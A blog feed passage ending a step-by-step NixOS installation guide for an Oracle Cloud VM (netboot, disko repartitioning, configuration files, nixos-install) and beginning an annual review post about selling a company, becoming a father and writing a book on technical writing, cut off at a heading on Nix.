&lt;p>Scroll down to the &amp;ldquo;Resources&amp;rdquo; section at the bottom of the VM page and click &amp;ldquo;Console connection&amp;rdquo;&lt;/p>













 















&lt;div class="img" style="max-width: 297px">



 &lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/console-connection.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 297px, 98vw"
 srcset='https://mtlynch.io/notes/nix-oracle-cloud/console-connection.webp 295w'
 src="https://mtlynch.io/notes/nix-oracle-cloud/console-connection.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>From there, click &amp;ldquo;Launch Cloud Shell connection.&amp;rdquo;&lt;/p>
&lt;p>When the Cloud Shell is initialized, you should see this line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Instance Console Connection reached state: ACTIVE
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: The next two steps have to happen quickly in succession. If you miss it, you can just SSH in and try again, though.
&lt;/div>

&lt;p>From your SSH session, reboot your VM:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Quickly, switch over to Cloud Shell in your browser. Click on the remote screen and then keep hitting the Escape key on your keyboard as the system reboots.&lt;/p>
&lt;p>If you do it correctly, you should see the EFI boot manager:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 568px">



 &lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/boot-manager.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 568px, 98vw"
 srcset='https://mtlynch.io/notes/nix-oracle-cloud/boot-manager_hu_74042cef6bf1554e.webp 300w, https://mtlynch.io/notes/nix-oracle-cloud/boot-manager.webp 566w'
 src="https://mtlynch.io/notes/nix-oracle-cloud/boot-manager.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>From the boot screen, go to Boot Manager &amp;gt; EFI Internal Shell.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 570px">



 &lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/internal-shell.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 570px, 98vw"
 srcset='https://mtlynch.io/notes/nix-oracle-cloud/internal-shell_hu_c7355ff60b280e18.webp 300w, https://mtlynch.io/notes/nix-oracle-cloud/internal-shell.webp 568w'
 src="https://mtlynch.io/notes/nix-oracle-cloud/internal-shell.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Press any key to skip &lt;code>startup.nsh&lt;/code>.&lt;/p>
&lt;p>From the EFI Shell prompt, type:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>fs0:netboot.efi
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When netboot launches, choose the following options:&lt;/p>
&lt;ol>
&lt;li>Distributions &amp;gt; Linux Network Installs (arm64)&lt;/li>
&lt;li>&lt;code>NixOS&lt;/code>&lt;/li>
&lt;li>&lt;code>NixOS nixos-24.11&lt;/code>&lt;/li>
&lt;/ol>
&lt;p>netboot will then load you into the NixOS live installer.&lt;/p>
&lt;h2 id="step-7-configure-ssh-access-for-the-nixos-installer">Step 7: Configure SSH access for the NixOS installer&lt;/h2>
&lt;p>After choosing NixOS from netboot, the system should automatically log you in as user &lt;code>nixos&lt;/code> with no password prompt.&lt;/p>
&lt;p>You can theoretically do the remaining steps through the Cloud Shell, but it&amp;rsquo;s probably easier if you can SSH in with your standard terminal utility.&lt;/p>
&lt;p>The NixOS installer unfortunately does not konw about the SSH public key you uploaded when you created the VM, so you&amp;rsquo;ll need to get your SSH key on the VM again.&lt;/p>
&lt;p>If you have your SSH keys registered with Github, an easy way to provision SSH keys is by running the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GITHUB_USERNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;your-github-username&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mkdir -p ~/.ssh &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> curl &lt;span style="color:#ed9d13">&amp;#34;https://github.com/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GITHUB_USERNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.keys&amp;#34;&lt;/span> &amp;gt; ~/.ssh/authorized_keys
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Alternatively, you can just paste any of you SSH public keys into &lt;code>~/.ssh/authorized_keys&lt;/code>.&lt;/p>
&lt;p>Once your SSH keys are in place, go back to your standard terminal, and SSH in again, this time to the NixOS install environment:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh &lt;span style="color:#ed9d13">&amp;#34;nixos@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">VM_IP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="step-8-repartition-the-cloud-vms-disk">Step 8: Repartition the cloud VM&amp;rsquo;s disk&lt;/h2>
&lt;p>At this point, you&amp;rsquo;re in the NixOS installer, but the disk still has Ubuntu installed on it. You need to wipe and repartition the disk for NixOS.&lt;/p>
&lt;p>From your SSH session to the VM, elevate to root.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo su
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, change to a temporary directory:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>mktemp --directory&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From here, download the &lt;a href="disk-config.nix">disk configuration file&lt;/a> I&amp;rsquo;ve created. It reserves 500 MB for a boot partition and uses the rest of the disk for NixOS.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --show-error &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --fail &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> https://mtlynch.io/notes/nix-oracle-cloud/disk-config.nix &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; disk-config.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, use &lt;a href="https://github.com/nix-community/disko">disko&lt;/a> to apply the disk partitioning configuration to the VM&amp;rsquo;s disk:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --experimental-features &lt;span style="color:#ed9d13">&amp;#39;nix-command flakes&amp;#39;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> github:nix-community/disko/v1.11.0 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -- &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --mode destroy,format,mount &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> disk-config.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When prompted, say &amp;ldquo;yes&amp;rdquo; to deleting all data.&lt;/p>
&lt;h2 id="step-9-install-nixos">Step 9: Install NixOS&lt;/h2>
&lt;p>At this point, you have a freshly-partitioned disk. It&amp;rsquo;s time to install NixOS.&lt;/p>
&lt;p>To begin, generate a placeholder configuration:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nixos-generate-config --no-filesystems --root /mnt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Move the disk configuration you created &lt;a href="#step-8-repartition-the-cloud-vms-disk">in the previous step&lt;/a> to &lt;code>/mnt/etc/nixos/&lt;/code> with the rest of your NixOS configuration files:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mv disk-config.nix /mnt/etc/nixos/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, download the Nix configuration files I prepared for this Oracle Cloud VM:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --show-error &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --fail &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> https://mtlynch.io/notes/nix-oracle-cloud/configuration.nix &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; /mnt/etc/nixos/configuration.nix &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> curl &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --show-error &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --fail &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> https://mtlynch.io/notes/nix-oracle-cloud/vars.nix &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; /mnt/etc/nixos/vars.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I split out all the values you&amp;rsquo;re likely to change into a file called &lt;code>vars.nix&lt;/code>:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hostname = &lt;span style="color:#ed9d13">&amp;#34;cloudnix&amp;#34;&lt;/span>; &lt;span style="color:#999;font-style:italic"># Replace with your desired hostname.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> username = &lt;span style="color:#ed9d13">&amp;#34;mike&amp;#34;&lt;/span>; &lt;span style="color:#999;font-style:italic"># Replace with your desired username.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sshKey = &lt;span style="color:#ed9d13">&amp;#34;ssh-rsa AAAAB3...&amp;#34;&lt;/span>; &lt;span style="color:#999;font-style:italic"># Replace with your SSH public key.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> locale = &lt;span style="color:#ed9d13">&amp;#34;en_US.UTF-8&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> timezone = &lt;span style="color:#ed9d13">&amp;#34;America/New_York&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/vars.nix" download class="download-raw-button">download vars.nix&lt;/a>
 &lt;/div>


&lt;p>Open &lt;code>vars.nix&lt;/code> and change the settings to match your desired values.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nano /mnt/etc/nixos/vars.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Feel free to tinker with &lt;code>configuration.nix&lt;/code> as well, but you can also change the files after you complete the initial install.&lt;/p>
&lt;p>Once you&amp;rsquo;ve customized your &lt;code>configuration.nix&lt;/code> and &lt;code>vars.nix&lt;/code>, start the NixOS install:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nixos-install --no-root-password
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When the install completes, reboot the VM:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>shutdown --reboot now
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="step-10-log-in-to-your-new-nixos-system">Step 10: Log in to your new NixOS system&lt;/h2>
&lt;p>The first boot will take about a minute. When it&amp;rsquo;s ready, go to your terminal, and SSH in using the same IP address you used earlier:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">VM_IP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You&amp;rsquo;re done! You now have a free 4-CPU VM running on Oracle&amp;rsquo;s cloud with NixOS installed.&lt;/p>
&lt;p>If you run &lt;a href="https://github.com/dylanaraps/neofetch">neofetch&lt;/a>, you should see output like the screenshot below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix-shell -p neofetch --command neofetch
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>



















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1122px">



 &lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/neofetch.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1122px, 98vw"
 srcset='https://mtlynch.io/notes/nix-oracle-cloud/neofetch_hu_2301b9b6e85ada75.webp 300w, https://mtlynch.io/notes/nix-oracle-cloud/neofetch_hu_8ee737a17b00171b.webp 600w, https://mtlynch.io/notes/nix-oracle-cloud/neofetch_hu_8e00cce446c6261c.webp 800w, https://mtlynch.io/notes/nix-oracle-cloud/neofetch.webp 1122w'
 src="https://mtlynch.io/notes/nix-oracle-cloud/neofetch.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="step-11-optional-install-a-package">Step 11: (optional) Install a package&lt;/h2>
&lt;p>At this point, everything&amp;rsquo;s done, but you may want to test something to make sure your NixOS configuration is in a healthy state.&lt;/p>
&lt;p>Open your &lt;code>configuration.nix&lt;/code> in a text editor:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nano /etc/nixos/configuration.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Find the &lt;code>environment.systemPackages&lt;/code> setting, and try adding &lt;code>ffmpeg&lt;/code> to the list:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ffmpeg &lt;span style="color:#999;font-style:italic"># Add this line&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>vim
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, apply the configuration with &lt;code>nixos-rebuild&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nixos-rebuild switch
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, you should see that ffmpeg is available on your system:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ffmpeg -version | head -n &lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ffmpeg version 7.1 Copyright (c) 2000-2024 the FFmpeg developers
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>built with gcc 13.3.0 (GCC)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></content:encoded></item><item><title>My Seventh Year as a Bootstrapped Founder</title><link>https://mtlynch.io/bootstrapped-founder-year-7/</link><pubDate>Mon, 03 Feb 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/bootstrapped-founder-year-7/</guid><description>&lt;p>Seven years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job as a developer at Google&lt;/a> to create my own bootstrapped software company. Every year, I &lt;a href="https://mtlynch.io/tags/annual-review/">post an update&lt;/a> about how that&amp;rsquo;s going and what my life is like as an indie founder.&lt;/p>
&lt;h2 id="i-sold-my-company">I sold my company&lt;/h2>
&lt;p>My most significant professional development of the last year is that I sold &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, the company I founded in 2020.&lt;/p>
&lt;p>My wife and I wanted to start a family, and I didn&amp;rsquo;t think I could be the sole manager of a seven-person company and a good father to a newborn. I found a buyer whose vision for the company aligned with mine, and we completed the sale in April 2024.&lt;/p></description><content:encoded>&lt;p>Seven years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job as a developer at Google&lt;/a> to create my own bootstrapped software company. Every year, I &lt;a href="https://mtlynch.io/tags/annual-review/">post an update&lt;/a> about how that&amp;rsquo;s going and what my life is like as an indie founder.&lt;/p>
&lt;h2 id="i-sold-my-company">I sold my company&lt;/h2>
&lt;p>My most significant professional development of the last year is that I sold &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, the company I founded in 2020.&lt;/p>
&lt;p>My wife and I wanted to start a family, and I didn&amp;rsquo;t think I could be the sole manager of a seven-person company and a good father to a newborn. I found a buyer whose vision for the company aligned with mine, and we completed the sale in April 2024.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/sold-tinypilot.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-7/sold-tinypilot_hu_f43e533fac3f5bd9.webp 300w, https://mtlynch.io/bootstrapped-founder-year-7/sold-tinypilot_hu_b8860156313b7295.webp 600w, https://mtlynch.io/bootstrapped-founder-year-7/sold-tinypilot_hu_86ef76c2d9065916.webp 800w, https://mtlynch.io/bootstrapped-founder-year-7/sold-tinypilot_hu_1f6ffb68d43465ab.webp 1200w, https://mtlynch.io/bootstrapped-founder-year-7/sold-tinypilot.webp 1600w'
 src="https://mtlynch.io/bootstrapped-founder-year-7/sold-tinypilot.webp" alt="Illustration of me waving goodbye to TinyPilot mascot flying away in tiny prop plane" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Me selling TinyPilot so I could start a family&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I already wrote and &lt;a href="https://softwaremisadventures.com/p/michael-lynch-indie-hacking">podcasted&lt;/a> about &lt;a href="https://mtlynch.io/i-sold-tinypilot/">the sale&lt;/a> and &lt;a href="https://mtlynch.io/lessons-from-my-first-exit/">the lessons I learned&lt;/a>, but the short version is that I&amp;rsquo;m grateful for how everything worked out.&lt;/p>
&lt;h2 id="i-became-a-new-parent">I became a new parent&lt;/h2>
&lt;p>In August, my wife and I welcomed our first child, a son.&lt;/p>
&lt;p>Shortly after the birth, one of the nurses took a beautiful photo of the three of us, which I&amp;rsquo;ve included below. I&amp;rsquo;m protective of my son&amp;rsquo;s privacy, so I ran the picture through a hand-tuned fast Fourier transform to remove biometric details:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/baby-photo.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-7/baby-photo_hu_ffcf328da4ad5524.webp 300w, https://mtlynch.io/bootstrapped-founder-year-7/baby-photo_hu_cdb1a6843c2293ab.webp 600w, https://mtlynch.io/bootstrapped-founder-year-7/baby-photo.webp 749w'
 src="https://mtlynch.io/bootstrapped-founder-year-7/baby-photo.webp" alt="Stick figure drawing of my family" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Photo of me, my wife, and our newborn son, post-processed with a privacy-preserving photo filter&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m thankful for the flexibility I get from being an indie founder and for the timing of the TinyPilot sale, as the past five months have been the happiest time of my life.&lt;/p>
&lt;h2 id="i-worked-on-educational-products">I worked on educational products&lt;/h2>
&lt;p>I sold TinyPilot in April, but I stayed with the company through mid-May to help the new owner with the transition.&lt;/p>
&lt;p>My son was due in August, and I knew I&amp;rsquo;d take time off when he arrived. That left me with three months to start something new, but it needed to be something I could shelve for a few months while I figured out my post-baby life.&lt;/p>
&lt;p>I decided the best product for those three months would be a downloadable course or book. It&amp;rsquo;s easy to pause work on an educational product, and even if I have paying customers, there are no servers to keep online or support questions to answer.&lt;/p>
&lt;p>My only experience creating educational products was in 2021. I recorded a video course about &lt;a href="https://hitthefrontpage.com">blogging for technical audiences&lt;/a>. It made $7.6k in its first year and another $2.2k since then. It&amp;rsquo;s not a smash hit by course creator standards, but it took me about 100 hours to produce, and I&amp;rsquo;m proud of the material. It&amp;rsquo;s the highest return on investment project I&amp;rsquo;ve completed since becoming an indie founder.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/htfp.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-7/htfp_hu_820837157d5c9553.webp 300w, https://mtlynch.io/bootstrapped-founder-year-7/htfp_hu_3a47c6af0955b7b0.webp 600w, https://mtlynch.io/bootstrapped-founder-year-7/htfp_hu_29819cbe2bfc67a6.webp 800w, https://mtlynch.io/bootstrapped-founder-year-7/htfp_hu_d4ca4ac427b238d1.webp 1200w, https://mtlynch.io/bootstrapped-founder-year-7/htfp.webp 1368w'
 src="https://mtlynch.io/bootstrapped-founder-year-7/htfp.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My 2021 course about &lt;a href="https://hitthefrontpage.com">blogging for technical audiences&lt;/a> has made a total of $10k in four years.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Over the summer, I revised the material from my 2021 blogging course. I started by teaching it to a small group of students on live weekly video calls. My plan was to continue refining the course based on the students&amp;rsquo; feedback and then record a final, downloadable version of the course to sell.&lt;/p>
&lt;p>The live course went okay, but the feedback from students was that they wanted to learn more about the craft of writing and less about attracting readers. I still wanted to finish the course, but my son arrived a few weeks early, so I never finished the recordings.&lt;/p>
&lt;p>After my son was born, it became harder to record videos at home, so I switched to &lt;a href="https://refactoringenglish.com">writing a book&lt;/a> about effective writing techniques for developers. I&amp;rsquo;m publishing it chapter by chapter and iterating on the material based on reader feedback.&lt;/p>
&lt;p>I still have a bunch of videos from the partially-recorded blogging course that I don&amp;rsquo;t know what to do with, so here&amp;rsquo;s one about why you should say yes if popular bootstrapping author &lt;a href="https://kalzumeus.com">Patrick McKenzie&lt;/a> challenges you to a blogging duel:&lt;/p>
&lt;div style="position:relative;padding-top:56.25%;">&lt;iframe src="https://iframe.mediadelivery.net/embed/273218/f04d4f68-e5da-4886-a0f6-a3bedc62c399?autoplay=false&amp;loop=false&amp;muted=false&amp;preload=true&amp;responsive=true" loading="lazy" style="border:0;position:absolute;top:0;height:100%;width:100%;" allow="accelerometer;gyroscope;autoplay;encrypted-media;picture-in-picture;" allowfullscreen="true">&lt;/iframe>&lt;/div>
&lt;h2 id="i-learned-cool-technologies">I learned cool technologies&lt;/h2>
&lt;p>When I was running TinyPilot, I didn&amp;rsquo;t have time for technical work, which was a bummer because I love writing software.&lt;/p>
&lt;p>I&amp;rsquo;ve always loved programming, but I&amp;rsquo;ve never found it as exciting as I have in the last year. I&amp;rsquo;m awed by all the amazing open-source software that&amp;rsquo;s freely available.&lt;/p>
&lt;h3 id="nix">Nix&lt;/h3>
